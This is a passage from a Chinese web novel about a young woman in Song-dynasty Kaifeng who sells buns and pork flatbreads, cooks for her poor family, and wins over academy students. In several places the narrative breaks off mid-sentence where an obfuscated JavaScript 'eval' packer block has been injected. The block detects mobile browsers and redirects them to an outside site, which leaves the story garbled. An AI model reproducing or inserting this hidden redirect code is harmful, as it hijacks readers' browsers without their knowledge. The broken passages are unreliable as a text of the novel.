还未到卯时，学生尚在斋舍洗漱，也有就灯诵读的。 谢晦坐在桌前，点上灯烛，翻看经书。 火刚生起，屋内尚且冰寒。 一阵急匆匆的脚步跑来，他看了眼铜壶刻漏。 “哐当——” 阁子门被推开，寒风一涌而入，吹得书页狂乱。 他伸手压住，无奈抬头，“吴文远。” “啊？”吴铎大喘气，“气煞小爷，碰上崔蕴玉，险些扣我分。” 他提起桌上大茶壶，往茶碗里倒了半盏，仰头一口气喝完。 林璋也推门进来，瞧见吴铎这架势，摇摇头，“该点卯了，走罢。” 吴铎抹了把嘴，将茶碗拍在桌上，愁眉苦脸，“可怎生是好，我肚里空空，若是饿晕岂不让人笑话？” “竟没带吃的？”林璋不可置信。 吴铎哪回旬休，不是带回满满当当的吃食？ “别提了！”说到这儿，吴铎便气煞，“一时匆忙，落下了。” “拿上吃罢。”谢晦递来一个油纸包。 “这是甚麽？”吴铎惊奇，打量谢晦递来之物。 谢晦这厮，从未带过吃食来，真是西边出太阳。 他打开，“馒头？” 才回家打了牙祭，嘴还挑着，他不爱吃馒头，“馒头有甚麽意思。” 说是这样说，为着上午课业着想，他不情不愿拿起来。 太学每十日“私试”，每月末“公试”，卯时博士升堂诵书，辰时讲经，巳时学生复讲、辩论。饿着肚子哪行。 林璋将他一推，“快迟了，带着！” 谢晦收拾了书本，携在手中，与他们一道去讲堂。 待到坐下，吴铎在饿肚子和啃馒头之间纠结了一下，到底不情不愿咬了一口馒头。 “嗯？” 他瞪大眼睛，又咬了一口，香软甜糯，枣肉肥美，可还不待他再吃，博士已携着书进了。 他忙连咬两口，低下头，拼命吞咽。 整堂诵读课都抓心挠肝。 ＊ 黄樱走在路上，算了一算，今儿一百五十个蜜豆蜜枣馒头卖了750文，五十个腊肠馒头卖了400文，三十个鸡子糕600文，加上昨儿大和尚买的十个鸡子糕200文，还有小郎君的赏钱300文，收入统共是2250文！ 整整两贯钱二百五十文！ 她眼睛都亮了！这还只是早上一会子卖的呢！ 要是有个铺子就好了。 她偷偷在爹耳边说，爹一听，眼睛都瞪大了。 爹娘勤勤恳恳一辈子，从没有一天赚过这么多钱。 黄父走路都不踏实了。 黄樱偷偷笑，她给爹六百五十文钱，打发爹买十斤五花肉、两斤猪油膏。 她去买其他杂物儿。 两人便分开了。 城外的小商贩五更城门一开便入市了，黄樱溜达着东瞧瞧西看看。 卖头面、幞头、领抹、鞋袜的尼姑、还有卖梅花的、驴驮着卖炭的、卖猫食狗食的…… 黄樱凑到那个师姑的摊儿前，瞧了眼，正有个妇人掷铜钱。 宋人爱赌。这些摊上的小货物，大都可以“博”，拿六个铜子儿投在地上，约定铜钱正反，赢了可以打折，或者直接赢走东西，输了付钱。 真有意思！这不跟抓娃娃一样嘛。她观察着记下来，以后开铺子可以吸引顾客呢。 她瞧上了一朵腊梅绢花。 原主是个爱美的小娘子，家里的东西都先紧着大姐儿，大姐儿用完才轮到妹妹们，衣裳也没穿过新的，都是大姐儿穿过的。 “小娘子瞧瞧奴这花，染色上等，足有三层呢，最衬小娘子！” “多少钱？” “瞧着小娘子面善，平日都要卖五十文的，今儿三十文卖你了。” 黄樱咋舌，“恁贵！” 她起身就走。 “哎！小娘子若喜欢，何不说个价儿，给你便宜呢！” 黄樱笑眯眯道，“十文钱我买两支，再送我三根红头绳。” 师姑脸上一阵红橙黄绿，“罢了罢了，十文便十文，给你给你。” 黄樱心里咯噔一下，糟糕，砍少了。 别看她面上一派镇定，实则心里没谱儿，只知道这么个对半砍的铁律，这还是头一次执行。 下次一定多砍点儿，她握拳。 不过，买到东西心里还是高兴。 她小心翼翼将绢花装好，一朵鹅黄芍药，一朵粉色腊梅。 红头绳新崭崭的，说不出的喜人。宁丫头的旧头绳都起毛了，旧旧的，都快瞧不出红色来。 她挑起担儿，走了一会子，又碰到卖葱姜蒜的。蒜是张骞从西域带回来的，北宋已有，但价不便宜，一斤要五十文钱！姜更贵，一斤七十文。 她花了六十文，各买了半斤。 葱就便宜许多，十文钱能买一大把。 路过曹婆婆肉饼店，羊肉的香味儿和着油煎的味儿飘得满街都是，她深吸一口气。 哎，还吃不起羊肉呢！ 瞧见布店，再看看自个儿身上衣裳。 穷呐。 孙家胡饼店敲打桌案的声音老远就听见。她深吸口气，捏着手里的铜子儿，没忍住走到跟前，踮起脚往里瞧了眼。 扯饼的大汉两只手一扯一转，一张薄薄的面饼丢在油锅中，四周迅速冒起密集的气泡，面饼像充了气一般鼓胀起来。 炸得酥脆金黄，小儿子拿爪篱一捞，放入盘儿，油还在滋滋作响呢！ 黄樱咽了口口水，纠结一番，还是走开了。 罢了，回头自个儿用多多的油煎发面饼子吃。 十文钱呐。她一个人吃独食，良心不安。 要是买五张宽焦回去，保准娘今儿能睡不着。 又经过一家油饼店，店里不少人。 北宋饼店分油饼店和胡饼店，胡饼店是胡人做法，卖些宽焦薄脆、芝麻门油——很像芝麻烧饼、油坨、髓饼——羊骨髓作馅儿、菊花…… 油饼店是本土做法。蒸饼、糖饼各色都有。 马行街夜市有一种叫猪胰胡饼的杂嚼，类似猪胰馅儿烧饼。 也有带馅儿的煎饼，叫做煎夹子。 还有种白肉夹面子，也是薄饼夹了猪肉馅儿再煎熟的。 茸割肉胡饼是最像现代肉夹馍的，都是现切现夹，肉也切得细细的。不过胡饼是烤的，硬很多，完全不是白吉馍的口感和味道。 东京城里饼店如此多，可见饼的市场是很大的。 她走走瞧瞧，决定做肉夹馍卖。 东京人爱吃饼，她卖肉夹馍准不错。 走到市井最繁华的十字斜街，有家刘家上色沉檀拣香铺子，进出的都是穿绸缎的，这就相当于东京城SKP奢侈品店，买不起买不起。 她转身进了小斜街上的丑婆婆药铺，一个十岁小郎立即迎上来。 满墙的药柜，抽屉上贴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16222011|181557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红纸，黑字写了药名儿。 她瞧见了桂皮。 “小娘子看诊还是买药？” 黄樱笑道，“敢问小哥儿，八角、桂皮、香叶、花椒、小茴香、白芷、白蔻、丁香、草果、良姜、肉蔻、荜拨你们可都有？” “这八角，香叶，草果是何物？小子从未听说。”小孩儿挠挠头。 黄樱拿给他瞧，他摇头不认识。 香叶是欧洲香料，八角和草果是本土的，这些看来北宋还没有发现。 黄樱随他瞧了瞧店里有的，确认是自个儿要的香料，便每样买了点儿。 拿钱的时候她眼皮直跳。 这香料忒贵。 花椒、桂皮、白芷这些常见的还好些，一斤百文钱，她买个几两还负担得起。 白蔻、良姜、小茴香就要几百文一斤了。 更别提丁香、肉蔻、荜拨这些经海上从三佛齐、勃泥进口的，甚至还是贡品，一斤数贯乃至数十贯钱！ 只有达官显贵才用得起。 小孩儿咋舌，“小娘子买恁些香药作甚？这些金贵物儿咱们药铺没有，得去刘家上色沉香铺。” 一下子几百文花出去了，这还只是炖肉的香料。 黄樱心在滴血。 没法子，那刘家香铺她是消费不起的。 余下的丁香、肉蔻、荜拨这些香料她便从自个儿空间拿了点。 她家货行这些香料也不多，得俭省着用。 若说直接拿香料去卖钱也是个好法子，但她一个市井小娘子，从哪得来这样的金贵物儿呢？她并不小瞧别人，不想横生枝节。 说她胆小也罢，她很珍惜这得来不易的生命。 只是少赚点钱，总比引起别人怀疑的好。 钱她总能赚到的。 出了药铺，装钱的挎包重量都轻了许多。她再不敢闲逛，买了十斤麦面，花去八十文钱，两斤胡麻油花去一百二十文，赶紧挑担儿家去。 半路想起她还准备腌酸菜、萝卜、晒腊肉，又买了五斤盐，花去三百文钱。 这些大头她买些，也从自个空间拿些。这样才好长久，免得被人瞧出不对来。 娘算成本也不会不对劲。 一下子花去了890文钱！加上爹买肉的650文，还剩750文。 她都懵了，钱忒不经花！ 她的两贯钱，一下子便下去了。 东西一多，担儿忒沉。她不禁想要一辆“浪子车”。 所谓浪子车，便是有两个轮儿，人力拉的平板车。 一辆车也得一贯钱呐，不敢想不敢想。 经过一个湖，她左右瞧了瞧，见没人，走到湖边，拿出那朵粉色腊梅绢花，捧在手里。 希望原主也能在另一个世界过得快乐。 她点燃了绢花，灰烬落在水面上，寒风一吹，湖面荡起涟漪，一圈一圈载着灰烬远去了。 杨柳随风颔首。 她跺了跺脚，挑起担子，捂着手哈了口气，家去了。 远远瞧见爹在路口等。 “爹！”她忙喊。 黄父忙过来将她的担儿也接过去，两边肩膀，一边一个担子。 黄樱抹了把额头的汗，“真沉。” “下次爹买麦面。” 黄樱立即道：“这哪行呢爹，你不会讲价，人家说多少你便多少。” 黄父讪讪，挠了挠头。 “娘！我们回来啦！” 她跑进屋里，娘正在烧炉子，一条腿不能动，她艰难地弯下腰，“算时间估摸着你们要回来了，快来暖手，冻着了吧？” “嗯呐！冻死了！”黄樱忙将鞋脱了，两只脚丫子贴着泥炉，“好舒服！” 12. 允哥儿挨打 012 黄娘子瞧着不甚精神的样子。 黄樱甚少见她这般。 “好端端的小娘子，不许再包着头，成什么样儿！”苏玉娘将她包头发的布巾解了，拿来针线笸箩，递过来一物，“试试。” “娘！昨晚不是才剪了布，这会子都好了？”黄樱立即往耳朵上一戴，“真暖和！娘好生厉害！” 苏玉娘这才笑，“以前是个锯嘴葫芦，如今嘴倒是甜，都把宁姐儿比下去了。” “马屁精非宁姐儿莫属，我才不如她。那两个呢？” “拾粪去了。” “允哥儿好了？” 说到这个，黄娘子便生气，“好甚麽好，偷偷跟着宁姐儿走的，我就抱了柴回头，人便不见了，还是三婶子说跟着宁姐儿跑了！不省心的。” 黄樱感觉脚有些痒，估计是冻伤了。 她烤了一会子，忍着痒换了双鞋，将新鞋在泥炉旁烤着，神神秘秘地凑近苏玉娘。 “娘，你猜我们今儿赚了多少钱？” 苏玉娘缝着衣服，“多少？” 黄樱将钱倒出来，“娘你数数。” 苏玉娘吃了一惊，“怎地恁多？” “还有昨儿大和尚买鸡子糕的钱，今儿馒头做得多。要不是买了香料炖肉，要更多些呢！” 苏玉娘数完，足有七百五十文！ 她一颗心落回肚子里，蔫蔫的脸色也好起来，将黄樱揽在怀里，“我的儿，你可真是好样儿的。” “娘，那戚娘子谁也不知晓她是这样的人，咱就当破财消灾了，你别搁心里，气出病才不值当呢。” “对了！”黄樱道，“娘，昭德坊谢府老夫人喜欢我的鸡子糕，我答应去他们府上教给他们家厨娘。” “昭德坊？！” 苏玉娘不可置信。 黄樱只是点头，“不信你问爹，爹也在。” “真的？” 黄父：“嗯。” “乖乖！昭德坊那都是皇亲国戚罢？”她有些紧张，“他们不会将你拐去卖了罢？” “娘你胡说什么呢，他们家郎君在太学读书，沉稳有礼，瞧着便是大家出身，再者，卖我值当几个钱呐？” “倒也是。”苏玉娘放了心，“得亏你长得不出众，哪像妍姐儿——” 说到一半便咽下去了。 妍姐儿是二婶家的大姐儿，长得好，前两年嫁给了一个富商做妾。 但听说日子过得不好，身子也越来越不好了。 “娘我做饭去了。” 黄樱饿了，她想吃正经饭。 爹已将带回来的东西归置好。 她看了看现有材料，决定做顿烩面片。 盛半盆面粉，加点盐，倒入温水，下手揉一揉，揉不动了就盖起来醒面。 面筋会随着时间慢慢松弛下来。 松弛一会儿再揉一揉，揉到光滑便盖起来继续醒着。时间越长，面水合越好，面筋越松弛，也就能拉得越长。 趁着这会子功夫，她先把豆腐切厚块泡水，早上留的香蕈、笋鲞已经泡发了。 然后准备卤肉夹馍的肉。 先将五花肉冷水下锅，扔几片姜、倒黄酒去腥，必须得冷水下锅，不盖盖儿，肉里的脏东西才能慢慢逼出来。 将浮沫撇掉，直到肉焯透了，这样才不会腥。 调料放酱油、盐、葱段、姜、八角、桂皮、香叶、花椒、小茴香、白芷、白蔻、丁香、草果、良姜、肉蔻、毕拨。 加入毕拨主要是为了留卤子，以后都可以用。这是开凉皮肉夹馍店的小姨告诉她的。 大火烧开，小火慢炖一个时辰。 然后准备馍。肉夹馍的饼是半发面。 她倒了一盆面粉，加猪油、老面种，倒温水和面。 揉几下揉不动了就盖起来醒面，醒一会儿就软了，再揉一揉便光滑细腻了。 盖上盖儿醒发面团。 等到醒发一倍大就可以烙饼了！ 将面团揉成长条形，切面剂子，切好了擀长条，再卷起来，摁扁，擀成中间薄两边厚的饼。这是妈妈的做法，她从小看到大的。 家乡的白吉馍讲究铁圈虎背菊花心，条件有限，她尽力了。 家里没有平底锅，只有一大一小铁锅。 大的娘用来蒸炊饼，小的家里做饭省炭。 只能等赚钱了打一口新锅，北宋的铁已经算便宜，但一口铁锅穷人也买不起。 家里这口大铁锅当初花了一贯钱，娘用得可仔细呢。 她将小锅架到娘屋里的泥炉上，一次只能烙四张饼。 苏玉娘瞪大眼睛：“这是甚？胡饼也不是这个样儿呐！” “都从那书上瞧来的。”黄樱笑。 苏玉娘心疼面，怕做坏，“要是拿不准，该一次少做些才好，咱也能吃。” “娘放心，我有数呢。” 苏玉娘不说话了，仔细看她烙饼。 屋子里都是饼的麦香味儿。 灶房里更是香迷糊了。 恁多香料，肉香味儿飘得整条巷子里都是。 宁丫头撒丫子跑进来，“二姐儿，灶房炖了肉！” “就你鼻子灵！”苏玉娘吊起眉头。 “又作甚好吃的？”三姐儿凑在泥炉前，眼巴巴盯着一旁竹蔑儿篮里烙好的饼。 黄樱笑：“一会儿给你吃，还没好。快去洗手。” “这便去！”扭头就跑。 苏玉娘：“鬼灵精！” “允哥儿！给我过来！”她一把抓住要跟宁丫头跑的允哥儿，摸他的额头，“冷不冷？谁叫你乱跑？” 她将小孩儿提起来摁在凳儿上，一巴掌下去，实打实打在小孩屁股上。 允哥儿眼睛吧嗒吧嗒，泪珠子掉下来了，睫毛又卷又翘，乖乖地趴着，“允哥儿不冷，娘，我错了。” 黄樱心都化了，“娘你快饶了他。” “要是跟你二姐儿一般病了，仔细着你的皮！” 苏玉娘将他拎起来放地上。 小孩拿袖子抹眼睛，一抽一抽地哭。 黄樱心疼坏了，蹲下来，“别拿脏手擦，仔细眼睛疼！” 她拿了干净巾子替他把脸抹干净，“娘担心你呢，等会子咱们吃肉，快别哭了。” “肉？”泪眼朦胧，鼻涕泡儿都出来了。 黄樱失笑，“对，肉。” 她捏捏小孩儿身上结板的夹袄，有些心酸。 苏玉娘气笑了，“过来！又去哪个泥堆里打滚，一身脏！” 允哥儿“吧嗒”“吧嗒”走到娘跟前，伸出脏兮兮的小手，眼睛红红的，“娘，只捡了两文钱的。” 小手心里两个旧旧的铜子儿。 “以后咱不去捡粪了，以后都跟着二姐儿去卖馒头。”黄樱道。 小孩儿吸了吸鼻子，有些不舍，“那我的粪都让娣姐儿他们捡去了。” 他控诉，“威哥儿今儿抢了我的粪。” 娣姐儿是隔壁吴老太的孙女，五岁。隔壁院里也有好几户人家，也有些小孩儿，都是跟允哥儿他们抢拾粪地盘的。 “那就让他们捡，卖馒头缺人手呢，二姐儿要人帮忙，允哥儿帮不帮？” 小孩睁大眼睛，“帮。” 黄樱笑，她将最后一锅饼子捡出来晾着，跑到灶房去看肉。 大半个时辰过去，肉已经炖得熟透了，宁丫头趴在灶台前，使劲嗅着锅里的热气，眼巴巴盯着。 黄樱看了眼火，添了根柴慢慢炖着。 她拿了猪油罐儿、切成长条的面，指挥小丫头拿上香蕈，笋鲞，跟自己走。 她准备做豆腐香菇烩面片。用北宋人的习惯，唤作豆腐香蕈玉棋子，因面片色白润泽如玉而得名。 小锅里扔一块猪油，烧热了加入葱蒜片，炒出香味儿，加入豆腐煎至两面金黄。 葱蒜的香味儿爆出来，豆腐滋滋作响。 加笋鲞炒，调料放酱油、盐。 炒出香味儿以后加入开水，泡发好的香蕈连水一起倒进去。 香菇干散发着鲜香的气味儿，连沾过水的手上都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黄樱拿出红绳，“呐，别说我不孝敬娘，这是给娘的。买绢花送的呢！咱娘仨一人一根，等我赚了钱，再给娘买银镯银簪子。” “还有我的？”苏玉娘拿着红绳爱不释手，“麻的呢。” 她当即开始动手拆头发。 “想起来，当年我娘带我买红头绳，我还很高兴。谁承想是要将我卖了。”她嗤。 “娘，咱们日子定会越过越好的。”黄樱抱了抱娘。 苏玉娘臊着脸，“多大人，不嫌肉麻。” 黄樱笑，“不嫌。” 她跟允哥儿的眼睛对上，小孩忙移开视线。 黄樱挠小孩儿咯吱窝，笑眯眯道，“猜二姐儿给允哥儿带了甚？” 小孩咯咯笑着躲，声音细细的，“不知道。” “允哥儿的要明儿才能好，明儿这个时候便能瞧见了。” “当真？” “二姐儿不骗人。” 小孩虽有些小小失望，还是抿着嘴笑了，眼里都是期待。 黄樱看了爹一眼，凑过去，“爹，以后给你买。” 黄父笑，“爹不用，都给你娘就好。” 他弯腰穿上鞋，预备要出门子。 如今没了雪，爹每日要去挑水，将大水缸填满。东京城里小商业繁荣，再小的行当也有人干，挑水人、箍桶匠、钉鞋人、修铜镜的，他们这条巷子里都住了不少。 他们家是雇不起人的，都是爹和娘挑。 爹开门出去了，寒风溜进来，吹得窗纸“哗哗”作响，真哥儿被娘放平，像个乌龟儿，只有四肢扭动，蓦地，他翻了个身，咯咯笑起来。 黄樱捏着真哥儿柔软的小手，心里也变得柔软起来。 慢慢来罢，日子会越过越好的。 13. 馋嘴小甘来 013 灶房里，黄樱正在装饼子。 这肉夹馍，最好还是趁热儿吃，她想将泥炉儿带上，还要带桌板剁肉。 最好能有辆车。 爹说他有法子。 两个小家伙跟在她屁股后头，小尾巴一样。 黄樱给每人喂一口肉，小娃吃得满嘴油。 不是她自夸，这方子小姨店里卖了三十年，远近闻名。 那味儿能香掉舌头。 宁姐儿吃完便趴在灶台边，眼巴巴瞅着。 黄樱有些心疼，掀开帘子瞧了眼，娘不知哪去了。 她手脚麻利地夹了一块肉出来。 肉炖得软烂，肥肉晶莹剔透，果冻似的。 剁碎，切开饼子夹进去，浇上一勺汤汁。 一切两半，拿油纸包了，塞给两个娃儿，“快吃。” 小丫头“啊呜”咬了一口，惊呆了，“好好次！” 允哥儿有些犹豫，“要卖钱，娘不许。” “卖钱的多着呢。吃罢。”黄樱摸摸他的头。 门外传来一阵脚步声，好像小孩儿噔噔噔跑。 宁丫头急了，狼吞虎咽，腮帮子都装不下。 “慢些，没人跟你抢。”黄樱一边给她拍背，一边掀开帘子瞧。 帘子底下钻进来一个小脑袋。 甘来一进来，眼睛便盯着小娃儿手里的肉夹馍，口水流在短袄衣襟上。 宁姐儿警惕地看着他，腮帮子一鼓一鼓的。 小孩儿稚声稚气道，“小娘子炖了肉，好生香，巷子里都是味儿，是什么肉？” 黄樱笑：“是猪肉。” “郎君说要买。”小胖手递来一串钱。 黄樱已经接受了他们“偶尔”吃荤这个现象。 她笑，“好嘞，这就给小师父装！” 她在青布巾上擦了手，拿起刀，挑出来一块肉，放到案板上，熟练地剁了起来。 剁得细细的，拿油纸包起一个饼，切开，刀一铲一抹，浇一勺汤，一个肉夹馍便好了。 甘来捧着他半张脸大的饼，迫不及待地咬了一口。 他瞪大眼睛，忍不住在地上轻轻蹦了一下，“好好吃！” 忙埋头啃起来。 这饼子比胡饼香！外皮有一层薄薄的酥皮儿，咬下去“咔嚓”一声，外脆里软。 那肉不知怎做的，真香掉舌头了！一丝猪味儿也没有！比羊肉还好吃！软烂得很，到了嘴里便化了，肉汁儿满嘴爆香，他吃得又急又停不下来。 黄樱笑眯眯问小师父，“要夹几个饼？” 甘来伸出五个手指，忙换了个手拿馍，又伸出五个。 “十个？吃得完？”黄樱失笑。 甘来忙点头，小肚子也晃了晃。 宁丫头跟允哥儿在一旁舔着油纸上的肉汁儿，听他买这般多，身上敌意都下去了。 宁丫头稚声稚气，“我帮二姐儿拿饼。” “真乖。” …… 甘来喜滋滋地挎着个小篮儿，跌跌撞撞迈过膝盖高的门槛，“郎君！肉夹饼！” 谢暻放下佛经，走到他跟前，在这小子额头上弹了一下，“这般多，你吃得完？” 他漫不经心地打量了一眼，嫌弃，“猪肉夹饼？” 甘来咽了口口水，又拿起一个开啃，“郎君留着我能吃完呢！” 谢暻挑眉，闻了闻，挑剔地咬了一口。 “嗯？”他眼睛微微眯起，又咬一口。 主仆两个站在廊下，一会子功夫便吃完了。 甘来打了个嗝，拿起第三个饼，圆圆的脸上满是陶醉，“太好吃了。” 他鬼鬼祟祟张望了下，稚声稚气，“甘来偷偷吃完，不告诉慎言罢？” 谢暻盯着饼若有所思，闻言，嗤笑一声，“慎言，可听见了？” “哼。”慎言板着小脸从屋里出来。 甘来吓得忙躲到郎君身后。 慎言将篮子提走，“都是我的。” 甘来委屈巴巴地啃肉夹饼，越啃越好吃，越啃越委屈。 “慎言坏，郎君把他还回去。” 慎言扭头瞧过来，他忙低下头。 “我才不稀罕跟着你这笨蛋。” 另一边，黄樱已经出了门。 她担子里挑着饼和案板菜刀。 黄父一边担着泥炉子和锅里的肉，一边挑着张折叠桌、一束柴。 没错，北宋就有折叠桌了。《清明上河图》里虹桥边就有一张。 爹找隔壁卖饮子的吴娘子借的。 经过隔壁宅子，大门开了一边，明暻大师父正教甘来念经。 他念一句，甘来念一句。旁边慎言皱着小脸。 “炉香乍热——” “炉香乍热——” “法界蒙熏——” “郎君，再念一遍——” 慎言的声音传来，稚声稚气：“笨蛋！” 宁丫头扭着脖子使劲往那宅子瞧，屁颠颠追着黄樱和爹爹，“甘来好笨哦。” 黄樱失笑。 这明暻大师父带的两个小娃，跟宁姐儿他们一般大。 听着念的是《地藏菩萨本愿经》，昨儿她还听见他们吃肉前给猪超度呢。 可真有意思。 今儿他们带的东西多，走不了很远，冷风刮得人脸疼，娘做的耳捂子填了麻絮，好歹耳朵不疼了。 宁丫头顾不上冷，只兴奋了。 平日里小孩儿不许走远，他们拾粪也只在门口街巷，冬日里天寒，肚子又吃不饱，家里好生待着才不容易受饿受冷。 当下是晌午时候，走了一会子，太阳竟出来了。 黄樱清了清嗓子，和着市井唱卖，脆生生喊了起来，调子婉转悠扬，“黄家猪肉夹饼咧——热腾腾的猪肉夹饼——二十文一个——不好吃不要钱咧——” 路过贾家瓠羹店，她没停，却有人喊住了她，“小娘子——” 黄樱回头，是一个头戴方顶巾、穿细绢长衫的商户，——东京城里各行各业、乃至乞丐衣着都有规范，一眼能辨别街上的人都是做什么的。 庶人、商贾、妓术、不系官伶人只许服皂、白衣，铁、角带，不得服紫。① 放眼望去，百姓身上不外乎黑白青三色。 “员外可要尝尝我家猪肉夹饼？”黄樱笑道。 王员外早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这饼跟他吃过的饼都不一样！跟软烂的肉融为一体，肉汁儿渗进饼里，吃得人酣畅淋漓，回味无穷。 一个不小的饼，一会儿便吃完了。 又来了几个贾家瓠羹店的食客，都好奇要来试一试。 黄樱麻利地挑肉，剁碎，夹饼，浇汁。 等大家一尝，乖乖！ “这竟是猪肉！俺从未吃过这样香的猪肉！” 王员外走南闯北，自诩老饕一个，什么山珍海味没吃过，这小娘子当真奇了，总能将这些市井之物做得出奇好吃。 他当即又买了两个。 宁姐儿在一旁蹲着添柴，一双乌黑的眼睛不时瞥过这些人递钱给爹，嘴角忍不住翘得飞起。 闻见锅里的香气，她忍不住咽口水，握了握自己的小手，要忍住呀！ 还未到水柜街，已经卖掉了大半。 黄樱装钱的斜挎布包里沉甸甸的，她跺了跺脚，将手缩进袖里，露出个笑来。 14. 王琰气呼呼 014 却说周琦早上买了三十个鸡子糕，刚跑进国子学，便瞧见博士揣着书缩了脖子，冒着寒风走来。 他三两步冲进讲堂，忙坐下摆开笔墨书本。 韩修与吴钰回头瞧他一眼，周琦挤眉弄眼，拍拍自己的书笼。 博士进来了，开始升堂诵书。 他忙收敛表情。 一整堂课，他鼻端总是飘来那股红枣鸡子糕甜甜的香味儿，弄得人坐立不安。 他的手几次伸到书笼盖儿上，偷偷掀开，还没拿，博士咳嗽两声，他立即正经危坐，目视前方。 口水都要流出来了。 好容易熬到晨课结束，博士一走出门，周琦立即跳起来，打开书笼，拿了一个鸡子糕。 他咬一口，好嫩、好软，好浓的枣味儿！ “这是甚？”吴钰说着，已经伸出小胖手，拿了一个塞进嘴里。 他眼睛瞪大，三两口下肚，都没仔细品尝出味儿，只记得好吃。 他忙又伸手拿了个。 周琦连吃三个，这才有些满足。 他得意道：“此物乃卖馒头的小娘子所做，滋味可好？” 吴钰两口又下肚一个。 他惊叹，“湿润绵密，入口即化，那小娘子好生厉害！” 韩修细细品尝着，眸子平静，若有所思，“连鸡子的味道也与寻常所见不同。” 周琦很是得意：“哼，谢四那厮也想买，被小爷全买走了！你们没瞧见他难看的脸色，哈哈哈。” 他又拿起一个馒头，咬一口，“咦？” 他仔细品尝味道，满脸惊喜：“这馒头是新的馅儿！” 吴钰也忙拿了一个，咬一口，腊肠油滋滋在嘴里爆开，混合着复杂浓郁的风味儿，他吃得满嘴油，“这也太好吃了些！” 学堂里其他人早被他们这处吸引了，忙凑来每人讨了一样。 周琦甚是大方，凡是讨要的，“自个儿拿便是。” “嗤。”坐在第一排，一个锦帽貂裘的小衙内不屑，“几文钱的贱物儿，我家奴婢都不吃。甚麽好东西。” 众人吃得如痴如醉，闻言，一时吃也不是，不吃也不是，满脸尴尬。 碍于身份，他们也不敢反驳王琰。 好些人气得脸色涨红。 梁毓挠挠头，背过去仔细吃完了。 他爹只是个七品馆阁校勘，不领实差，堪堪让他擦着边进了国子监，一家十几口人挤在几间房里，平日家里吃肉也要精打细算，这腊肠馒头太好吃了！鸡子糕也好吃！ 周琦人真好！听说鸡子糕一个要二十文呢！好大方呜呜。 王琰见众人都不理他，他哼了一声，指挥书童摆上家里准备的吃食。 小书童唱得一手好菜名，“西川乳糖狮子——糖霜蜂儿——柿膏儿——” 他念一个，梁毓就咽一口口水。 王琰得意地瞧了他们一眼，“这可是从蜀中请的厨娘做的。你们想吃便吃罢。” 他大方地往前一推。 众人面面相觑，不敢上前。 韩修笑了一声，“那便多谢六郎。” 他拿起一个柿膏儿。 吴钰忙拿起一个糖霜蜂儿。这可不便宜，王家这是用糖霜做的。 梁毓趁着人多，拿了两个最贵的，——乳糖狮子和糖霜蜂儿。 要知糖霜又名糖冰，得来不易，只福唐、四明、番禺、广汉、遂宁有之，独蜀中遂宁为冠。① 他瞧过一本书，这糖冰制作起来，需待蔗水缓慢凝成冰晶，大半年方才成块儿，产量极低，价极高。 他还从未吃过呢。 乳糖狮子用牛乳与糖霜制成，还有白芝麻，闻着又香又甜。 正好经学博士来了，他忙藏起来，准备拿回家去，给母亲和妹妹。 周琦笑眯眯的，在王琰眼巴巴的视线里，拿走了最后一个乳糖狮子，“多谢六郎啦！” 王琰哼了一声，“不必谢，反正我也吃腻了这些，甜滋滋的，有甚么意思。” 一转过身，他垮下脸，气得脸色涨红。周琦这厮怕不是故意的！他的乳糖狮子！ 他眼里闪过懊悔，早知便不学这厮。 他才不是嫉妒周琦人缘好！ 午时散学，这些小衙内们一涌而出。 周琦想起王琰那气得要死又不能发作的表情就好笑。 “哈哈哈哈！” 韩修无语，“你几岁？” 谢昀跟崔琢一出斋堂，看到周琦笑得这么得意，瞬间冷哼一声，扭过了头。 “我们走。”他拉着崔琢，快步越过周琦几人。 且让他先得意一会儿。 周琦瞧见他气呼呼的身影，更得意了，“咱今儿吃甚？” 吴钰扳着手指头数，“李四分茶、贾家瓠羹、南食店、川饭店、石逢巴子……” “还有哪家没吃？” “额。 周琦也犯了难。 要说东京城里酒楼食肆林立，凡吃食不下千百种。可日日吃，也有想换花样儿的时候。 几人一边走一边商讨。 谢昀拉着崔琢到了水柜街，正要去南街，忽闻熟悉的唱卖声儿，立即扭头，果然瞧见那干净利落的小娘子。 “热腾腾的猪肉夹饼咧——满满当当的肉馅儿——二十文一个——不好吃不要钱咧——” 喝，今儿排场比以往都大，竟带着炉和桌！ 他立即往跟前凑，“小娘子，这是什麼？” 黄樱刚夹了一个饼，抬头，瞧见熟悉的小郎君，笑道，“谢小郎君下学啦？这是猪肉夹饼，小郎君可要尝尝？” 崔琢身后背着书笼的元英探头瞧了一眼，有些嫌弃地缩回去，“猪肉。” 他最不喜猪肉，一股猪味儿。 他们家小郎君也不喜。 元宝正站在下风处，锅里咕嘟咕嘟煮着，香味儿都飘了来，他深吸一口气，“好香。” 谢昀也闻到了，他不喜猪肉，有些纠结。 “小郎君尝尝，好吃再买！” 黄樱给他们每人切了一块儿肉。 谢昀闻了闻，是香的，有些犹豫地放进嘴里，准备随时吐出来。 “咦？”他不可思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 